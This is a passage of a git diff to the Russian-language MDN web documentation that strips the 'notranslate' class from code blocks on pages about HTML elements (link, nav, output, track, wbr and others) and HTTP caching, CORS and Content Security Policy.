ресурса. Они предоставляют советы, позволяющие браузеру выбрать наиболее подходящую иконку.</p> <p>Вы можете, также, указать медиа тип или запрос внутри атрибута <code>media</code>; этот ресурс будет загружен только в том случае, если media состояние равно true. Например:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="print.css" rel="stylesheet" media="print"> +<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"></pre> <p>В элемент <code><link></code> также были добавлены некоторые новые интересные возможности производительности и безопасности, к примеру:</p> -<pre class="brush: html no-line-numbers notranslate"><link rel="preload" href="myFont.woff2" as="font" +<pre class="brush: html no-line-numbers"><link rel="preload" href="myFont.woff2" as="font" type="font/woff2" crossorigin="anonymous"></pre> <p>Значение <code>rel</code> - <code>preload</code> указывает, что браузер должен предварительно загрузить этот ресурс (смотрите <a href="/en-US/docs/Web/HTML/Preloading_content">Предварительная загрузка контента при помощи rel="preload"</a> для более подробной информации), атрибут <code>as</code> указывает на определённый класс загружаемого контента. Атрибут <code>crossorigin</code> указывает должен ли ресурс загружаться с помощью запроса {{Glossary("CORS")}}.</p> @@ -180,7 +180,7 @@ original_slug: Web/HTML/Element/ссылка <p>Включение таблицы стилей на страницы имеет следующий синтаксис:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="style.css" rel="stylesheet"> +<pre class="brush: html no-line-numbers"><link href="style.css" rel="stylesheet"> </pre> <h3 id="Предоставление_альтернативных_таблиц_стилей">Предоставление альтернативных таблиц стилей</h3> @@ -189,7 +189,7 @@ original_slug: Web/HTML/Element/ссылка <p>Пользователь может выбрать, какую таблицу стилей использовать, выбрав её в меню Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.</p> -<pre class="brush: html no-line-numbers notranslate"><link href="default.css" rel="stylesheet" title="Default Style"> +<pre class="brush: html no-line-numbers"><link href="default.css" rel="stylesheet" title="Default Style"> <link href="fancy.css" rel="alternate stylesheet" title="Fancy"> <link href="basic.css" rel="alternate stylesheet" title="Basic"> </pre> @@ -198,7 +198,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете включить ссылки на несколько различных иконок на одной странице, и браузер выберет, какая из них лучше подходит для его конкретного контекста, используя значения <code>rel</code> и <code>sizes</code> как подсказки.</p> -<pre class="brush: html no-line-numbers notranslate"><!-- third-generation iPad with high-resolution Retina display: --> +<pre class="brush: html no-line-numbers"><!-- third-generation iPad with high-resolution Retina display: --> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"> <!-- iPhone with high-resolution Retina display: --> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"> @@ -213,7 +213,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете предоставить тип медиа или запрос внутри атрибута <code>media</code>; этот ресурс будет загружен только в том случае, если условия медиа равно true. Например:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="print.css" rel="stylesheet" media="print"> +<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="all"> <link href="desktop.css" rel="stylesheet" media="screen and (min-width: 600px)"> <link href="highres.css" rel="stylesheet" media="screen and (min-resolution: 300dpi)"> @@ -223,7 +223,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете определить, когда таблица стилей была загружена, наблюдая за событием <code>load</code>, запускающимся в нем; аналогично, вы можете обнаружить, произошла ли ошибка при обработки таблицы стилей, наблюдая за событием <code>error</code>:</p> -<pre class="brush: html notranslate"><script> +<pre class="brush: html"><script> var myStylesheet = document.querySelector('#my-stylesheet'); myStylesheet.onload = function() { diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html index 70e3d70c46..b046def1e1 100644 --- a/files/ru/web/html/element/marquee/index.html +++ b/files/ru/web/html/element/marquee/index.html @@ -61,7 +61,7 @@ translation_of: Web/HTML/Element/marquee <h2 id="Examples">Examples</h2> -<pre class="brush: html notranslate"><marquee>This text will scroll from right to left</marquee> +<pre class="brush: html"><marquee>This text will scroll from right to left</marquee> <marquee direction="up">This text will scroll from bottom to top</marquee> diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html index 2d972a2f3b..436ccf0739 100644 --- a/files/ru/web/html/element/nav/index.html +++ b/files/ru/web/html/element/nav/index.html @@ -63,7 +63,7 @@ translation_of: Web/HTML/Element/nav <p>В данном примере, блок <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><code><nav></code> </span></font>содержит ненумерованный список ({{HTMLElement("ul")}}) ссылок. С помощью CSS данный блок можно использовать как сайдбар, навигационную колонку или выпадающее меню.</p> -<pre class="brush: html notranslate"><nav class="menu"> +<pre class="brush: html"><nav class="menu"> <ul> <li><a href="#">Главная</a></li> <li><a href="#">О нас</a></li> diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html index 1e2ef166cd..f184b9be4d 100644 --- a/files/ru/web/html/element/output/index.html +++ b/files/ru/web/html/element/output/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/output <p>Эта форма содержит слайдер, значение которого находится в пределах от 0 до 100, и элемент {{HTMLElement("input")}}, в который можно ввести второе значение. Два числа складываются и результат отображается в элементе <code><output></code> каждый раз, когда значение любого управляющего элемента меняется.</p> -<pre class="brush: html notranslate"><form oninput="result.value=parseInt(a.value)+parseInt(b.value)"> +<pre class="brush: html"><form oninput="result.value=parseInt(a.value)+parseInt(b.value)"> <input type="range" name="b" value="50" /> + <input type="number" name="a" value="10" /> = <output name="result">60</output> diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html index cdef2a32ad..84ab9084af 100644 --- a/files/ru/web/html/element/strong/index.html +++ b/files/ru/web/html/element/strong/index.html @@ -75,7 +75,7 @@ translation_of: Web/HTML/Element/strong <h3 id="Основной_пример">Основной пример</h3> -<pre class="brush: html notranslate"><p>Прежде чем продолжить, <strong>убедитесь, что вы надели защитные очки</strong>.</p></pre> +<pre class="brush: html"><p>Прежде чем продолжить, <strong>убедитесь, что вы надели защитные очки</strong>.</p></pre> <p>Результат:</p> @@ -83,7 +83,7 @@ translation_of: Web/HTML/Element/strong <h3 id="Маркировочные_предупреждения">Маркировочные предупреждения</h3> -<pre class="brush: html notranslate"><p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p></pre> +<pre class="brush: html"><p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p></pre> <p>Это приведёт к:</p> diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html index 45fd2b07c6..2ec30cbd30 100644 --- a/files/ru/web/html/element/track/index.html +++ b/files/ru/web/html/element/track/index.html @@ -119,7 +119,7 @@ translation_of: Web/HTML/Element/track <h2 id="Пример">Пример</h2> -<pre class="brush: html notranslate"><video controls poster="/images/sample.gif"> +<pre class="brush: html"><video controls poster="/images/sample.gif"> <source src="sample.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="sampleCaptions.vtt" srclang="en"> diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html index 850271cf68..53b571395d 100644 --- a/files/ru/web/html/element/wbr/index.html +++ b/files/ru/web/html/element/wbr/index.html @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/wbr <p><a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/">Руководство по стилю Yahoo</a> рекомендует <a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/editing/treat-abbreviations-capitalization-and-titles-consistently/website-names-and-addresses">разбивать URL перед пунктуацией</a>, чтобы не оставлять знаки препинания в конце строки, которые читатель может ошибочно принять за конец URL.<strong> </strong></p> -<pre class="brush: html notranslate"><strong><p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/With<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> </strong></pre> +<pre class="brush: html"><strong><p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/With<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> </strong></pre> <p><strong>{{EmbedLiveSample("Пример")}}</strong></p> diff --git a/files/ru/web/http/caching/index.html b/files/ru/web/http/caching/index.html index 3cad10d56f..9fd355dfed 100644 --- a/files/ru/web/http/caching/index.html +++ b/files/ru/web/http/caching/index.html @@ -61,7 +61,7 @@ original_slug: Web/HTTP/Кеширование <p>В кеше не должно сохраняться ничего — ни по запросам клиента, ни по ответам сервера. Запрос всегда отправляется на сервер, ответ всегда загружается полностью.</p> -<pre class="notranslate">Cache-Control: no-store +<pre>Cache-Control: no-store Cache-Control: no-cache, no-store, must-revalidate </pre> @@ -69,13 +69,13 @@ Cache-Control: no-cache, no-store, must-revalidate <p>Перед тем, как выдать копию, кеш запрашивает исходный сервер на предмет актуальности ресурса.</p> -<pre class="notranslate">Cache-Control: no-cache</pre> +<pre>Cache-Control: no-cache</pre> <h4 id="Приватные_private_и_общие_public_кеши">Приватные (private) и общие (public) кеши</h4> <p>Директива "public" указывает, что ответ можно сохранять в любом кеше. Это бывает полезно, если возникает потребность сохранить страницы с HTTP-аутентификацией, или такими кодами ответа, которые обычно не кешируются. Директива же "private" указывает, что ответ предназначен отдельному пользователю и не должен храниться в кеше совместного использования. В этом случае ответ может сохраняться приватным кешем браузера.</p> -<pre class="notranslate">Cache-Control: private +<pre>Cache-Control: private Cache-Control: public </pre> @@ -85,13 +85,13 @@ Cache-Control: public <p>Подробнее об этом рассказывается в разделе <a href="#Freshness">Свежесть ресурса</a>.</p> -<pre class="notranslate">Cache-Control: max-age=31536000</pre> +<pre>Cache-Control: max-age=31536000</pre> <h4 id="Проверка_актуальности">Проверка актуальности</h4> <p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истёкшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p> -<pre class="notranslate">Cache-Control: must-revalidate</pre> +<pre>Cache-Control: must-revalidate</pre> <h3 id="Заголовок_Pragma">Заголовок <code>Pragma </code></h3> @@ -108,7 +108,7 @@ Cache-Control: public <p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берётся равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified. Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br> Время устаревания (expirationTime) вычисляется следующим образом:</p> -<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge +<pre>expirationTime = responseTime + freshnessLifetime - currentAge </pre> <p>где responseTime — это время получения ответа по часам браузера, а currentAge — текущий возраст кеша.</p> @@ -149,7 +149,7 @@ Cache-Control: public <p>Это может быть полезно, например, при динамическом предоставлении контента. При использовании заголовка <code>Vary: User-Agent</code> кеширующие сервера, принимая решение об использовании страницы из кеша, должны учитывать агент пользователя. Так можно избежать ситуации, когда пользователи мобильных устройств по ошибке получат десктопную версию вашего сайта. Вдобавок, это может помочь Google и другим поисковым системам обнаружить мобильную версию страницы, и может также указать им на то, что здесь нет никакой подмены контента с целью поисковой оптимизации (<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>).</p> -<pre class="notranslate">Vary: User-Agent</pre> +<pre>Vary: User-Agent</pre> <p>Поскольку значение заголовка {{HTTPHeader("User-Agent")}} различается ("varies") у мобильных и десктопных клиентов, закешированный мобильный контент не будет по ошибке отсылаться пользователям десктопов и наоборот.</p> diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html index 1a69c7a3d0..7aba8d390f 100644 --- a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html +++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin <h2 id="Reason">Reason</h2> -<pre class="syntaxbox notranslate">Причина: CORS заголовок 'Access-Control-Allow-Origin' не соответствует 'xyz'</pre> +<pre class="syntaxbox">Причина: CORS заголовок 'Access-Control-Allow-Origin' не соответствует 'xyz'</pre> <h2 id="Что_пошло_не_так">Что пошло не так?</h2> @@ -31,11 +31,11 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin <p>К примеру, в Apache, вы можете добавить следующую строку в конфигурацию веб-сервера (в пределах одной из секций - <code><Directory></code>, <code><Location></code>, <code><Files></code> или <code><VirtualHost></code>). Обычно конфигурация находиться в файле <code>.conf</code> (наиболее частые имена для него - <code>httpd.conf</code> и <code>apache.conf</code>) или в файле <code>.htaccess</code>.</p> -<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> +<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> <p>В Nginx, для установки такого заголовка можно воспользоваться следующей командой: </p> -<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> +<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> <h2 id="See_also">See also</h2> diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html index a4d1f6204f..b3392bc0e3 100644 --- a/files/ru/web/http/cors/index.html +++ b/files/ru/web/http/cors/index.html @@ -87,7 +87,7 @@ translation_of: Web/HTTP/CORS <p>Например, представьте, что содержимое домена <code class="plain">http://foo.example</code> хочет обратиться к содержимому <code class="plain">http://bar.other</code>. На домене foo.example может использоваться следующий Javascript код:</p> -<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/public-data/'; function callOtherDomain() { @@ -105,7 +105,7 @@ function callOtherDomain() { <p>Посмотрим, что браузер отправит в таком случае на сервер, а также проверим ответ сервера:</p> -<pre class="brush: shell;highlight:[10,16] notranslate">GET /resources/public-data/ HTTP/1.1 +<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -181,7 +181,7 @@ Content-Type: application/xml <p>Ниже приведён пример запроса, который будет предварительно просмотрен.</p> -<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/post-here/'; var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; @@ -209,7 +209,7 @@ function callOtherDomain(){ <p>Давайте посмотрим на полный обмен между клиентом и сервером. Первый обмен - это <em>предварительный</em> <em>запрос/ответ</em>:</p> -<pre class="brush: none notranslate">OPTIONS /resources/post-here/ HTTP/1.1 +<pre class="brush: none">OPTIONS /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -239,7 +239,7 @@ Content-Type: text/plain <p>Как только предварительный запрос завершён, отправляется настоящий запрос:</p> -<pre class="brush: none notranslate">POST /resources/post-here/ HTTP/1.1 +<pre class="brush: none">POST /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -274,7 +274,7 @@ Content-Type: text/plain <p>Строки 1 - 12 выше представляют предварительный запрос с {{HTTPMethod("OPTIONS")}} методом. Браузер определяет, что ему нужно отправить это, основываясь на параметрах запроса, которые использовались во фрагменте кода JavaScript выше, чтобы сервер мог ответить, допустимо ли отправить запрос с фактическими параметрами запроса. OPTIONS - это метод HTTP/1.1, который используется для определения дополнительной информации от серверов, и является {{Glossary("safe")}} методом, что означает, что его нельзя использовать для изменения ресурса. Обратите внимание, что вместе с запросом OPTIONS отправляются два других заголовка запроса (строки 10 и 11 соответственно):</p> -<pre class="brush: none notranslate">Access-Control-Request-Method: POST +<pre class="brush: none">Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type </pre> @@ -282,7 +282,7 @@ Access-Control-Request-Headers: X-PINGOTHER, Content-Type <p>Строки 14 - 26 выше - это ответ, который сервер отправляет обратно, указывая, что метод запроса (<code>POST</code>) и заголовки запроса (<code>X-PINGOTHER</code>) являются приемлемыми. В частности, давайте посмотрим на строки 17-20:</p> -<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://foo.example +<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400</pre> @@ -329,7 +329,7 @@ Access-Control-Max-Age: 86400</pre> <p>В этом примере контент, изначально загруженный из <code class="plain">http://foo.example,</code> выполняет простой GET запрос к ресурсу <code class="plain">http://bar.other,</code> который устанавливает файлы cookie. Содержимое на foo.example может содержать такой JavaScript:</p> -<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/credentialed-content/'; function callOtherDomain(){ @@ -347,7 +347,7 @@ function callOtherDomain(){ <p>Вот пример обмена между клиентом и сервером:</p> -<pre class="brush: none notranslate">GET /resources/access-control-with-credentials/ HTTP/1.1 +<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -398,14 +398,14 @@ Content-Type: text/plain <p>Возвращаемый ресурс может иметь один заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, синтаксис которого:</p> -<pre class="brush: none notranslate">Access-Control-Allow-Origin: <origin> | * +<pre class="brush: none">Access-Control-Allow-Origin: <origin> | * </pre> <p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учётных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p> <p>Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:</p> -<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://mozilla.org</pre> +<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre> <p>Если сервер возвращает название хоста, вместо "*", также может быть указан заголовок Vary со значением Origin, чтобы показать клиентам, что ответы с сервера будут отличаться в зависимости от значения заголовка запроса Origin.</p> @@ -413,7 +413,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p> -<pre class="brush: none notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header </pre> <p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p> @@ -422,7 +422,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p> -<pre class="brush: none notranslate">Access-Control-Max-Age: <delta-seconds> +<pre class="brush: none">Access-Control-Max-Age: <delta-seconds> </pre> <p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p> @@ -431,7 +431,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p> -<pre class="brush: none notranslate">Access-Control-Allow-Credentials: true +<pre class="brush: none">Access-Control-Allow-Credentials: true </pre> <p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p> @@ -440,7 +440,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p> -<pre class="brush: none notranslate">Access-Control-Allow-Methods: <method>[, <method>]* +<pre class="brush: none">Access-Control-Allow-Methods: <method>[, <method>]* </pre> <p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p> @@ -449,7 +449,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p> -<pre class="brush: none notranslate">Access-Control-Allow-Headers: <field-name>[, <field-name>]* +<pre class="brush: none">Access-Control-Allow-Headers: <field-name>[, <field-name>]* </pre> <h2 id="The_HTTP_request_headers">The HTTP request headers</h2> @@ -460,7 +460,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p> -<pre class="brush: none notranslate">Origin: <origin> +<pre class="brush: none">Origin: <origin> </pre> <p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p> @@ -473,7 +473,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p> -<pre class="brush: none notranslate">Access-Control-Request-Method: <method> +<pre class="brush: none">Access-Control-Request-Method: <method> </pre> <p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p> @@ -482,7 +482,7 @@ Content-Type: text/plain <p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p> -<pre class="brush: none notranslate">Access-Control-Request-Headers: <field-name>[, <field-name>]* +<pre class="brush: none">Access-Control-Request-Headers: <field-name>[, <field-name>]* </pre> <p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p> diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html index 9141ba8341..174c098790 100644 --- a/files/ru/web/http/csp/index.html +++ b/files/ru/web/http/csp/index.html @@ -38,7 +38,7 @@ translation_of: Web/HTTP/CSP <p>Вы можете начать настройку {{HTTPHeader("Content-Security-Policy")}} с определения HTTP-заголовка и указания какую политику использовать:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: <em>policy</em></pre> +<pre class="syntaxbox">Content-Security-Policy: <em>policy</em></pre> <p>Где policy - это строка, содержащая директивы, описывающие вашу Content Security Policy.</p> @@ -54,19 +54,19 @@ translation_of: Web/HTTP/CSP <p>Вы хотите ограничить источники контента только исходным сервером (исключая поддомены)</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'</pre> <h3 id="Пример_2">Пример 2</h3> <p>Вы хотите разрешить получение контента с доверенного домена и всех его поддоменов (доверенный домен не обязательно должен совпадать с тем, на котором настраиваются CSP.)</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.trusted.com</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.trusted.com</pre> <h3 id="Пример_3">Пример 3</h3> <p>Вы хотите разрешить пользователям приложения вставлять в создаваемый ими контент картинки из любого источника, но при этом ограничить источники аудио- и видео-файлов списком доверенных провайдеров. Получение скриптов должно происходить только с конкретного сервера, содержащего доверенный код.</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre> <p>При такой настройке, весь контент доступен для получения только с исходного домена, со следующими исключениями:</p> @@ -80,7 +80,7 @@ translation_of: Web/HTTP/CSP <p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идёт по SSL и атакующий не сможет обрабатывать запросы:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre> <p>При данной настройке сервер будет позволять загрузку страниц только по HTTPS и только из одного источника - onlinebanking.jumbobank.com.</p> @@ -88,7 +88,7 @@ translation_of: Web/HTTP/CSP <p>Для просмотра писем в почтовом клиенте вы хотите разрешить использование HTML внутри письма, а также позволить загрузку изображений из любых источников, но запретить использование любого JavaScript-кода и прочий потенциально опасный контент.</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre> <p>Заметьте, что в настройке политики отсутствует директива {{CSP("script-src")}}; при такой настройке CSP при загрузке скриптов будут использоваться настройки, определяемые директивой {{CSP("default-src")}}, следовательно все скрипты могут быть загружены только с исходного домена.</p> @@ -98,7 +98,7 @@ translation_of: Web/HTTP/CSP <p>Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <em>policy</em> </pre> +<pre class="syntaxbox">Content-Security-Policy-Report-Only: <em>policy</em> </pre> <p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчёты, но применены не будут.</p> @@ -106,7 +106,7 @@ translation_of: Web/HTTP/CSP <p>По умолчанию, отправка отчётов не производится. Для того чтобы включить отправку отчётов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчёты:</p> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre> <p>Кроме того, необходимо настроить свой сервер на получение этих отчётов; вы можете хранить и обрабатывать эти отчёты как считаете нужным.</p> @@ -143,12 +143,12 @@ translation_of: Web/HTTP/CSP <div>Возьмём страницу, расположенную по адресу <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code>. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с <code>cdn.example.com</code>.</div> <div> -<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> +<pre class="syntaxbox">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> </div> <div>HTML-код страницы <code>signup.html</code> выглядит следующим образом:</div> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <title>Sign Up</title> @@ -161,7 +161,7 @@ translation_of: Web/HTTP/CSP <div>Можете заметить ошибку? CSS разрешено загружать только с <code>cdn.example.com</code>, в то время как веб-сайт пытается загрузить его используя основной домен (<code>http://example.com</code>). Браузер поддерживающий CSP отправит отчёт о нарушении политики в POST-запросе к <code><a href="http://example.com/_/csp-reports" rel="freelink">http://example.com/_/csp-reports</a></code> в момент обращения к странице (<code>signup.html</code>):</div> -<pre class="notranslate">{ +<pre>{ "csp-report": { "document-uri": "http://example.com/signup.html", "referrer": "", diff --git a/files/ru/web/http/headers/accept-language/index.html b/files/ru/web/http/headers/accept-language/index.html index 1d2d719976..c1d99c9899 100644 --- a/files/ru/web/http/headers/accept-language/index.html +++ b/files/ru/web/http/headers/accept-language/index.html @@ -33,7 +33,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Language <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept-Language: <language> +<pre class="syntaxbox">Accept-Language: <language> Accept-Language: <locale> Accept-Language: * @@ -53,7 +53,7 @@ Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Accept-Language: * +<pre>Accept-Language: * Accept-Language: de diff --git a/files/ru/web/http/headers/accept-patch/index.html b/files/ru/web/http/headers/accept-patch/index.html index 17bc2ae125..a0bde94595 100644 --- a/files/ru/web/http/headers/accept-patch/index.html +++ 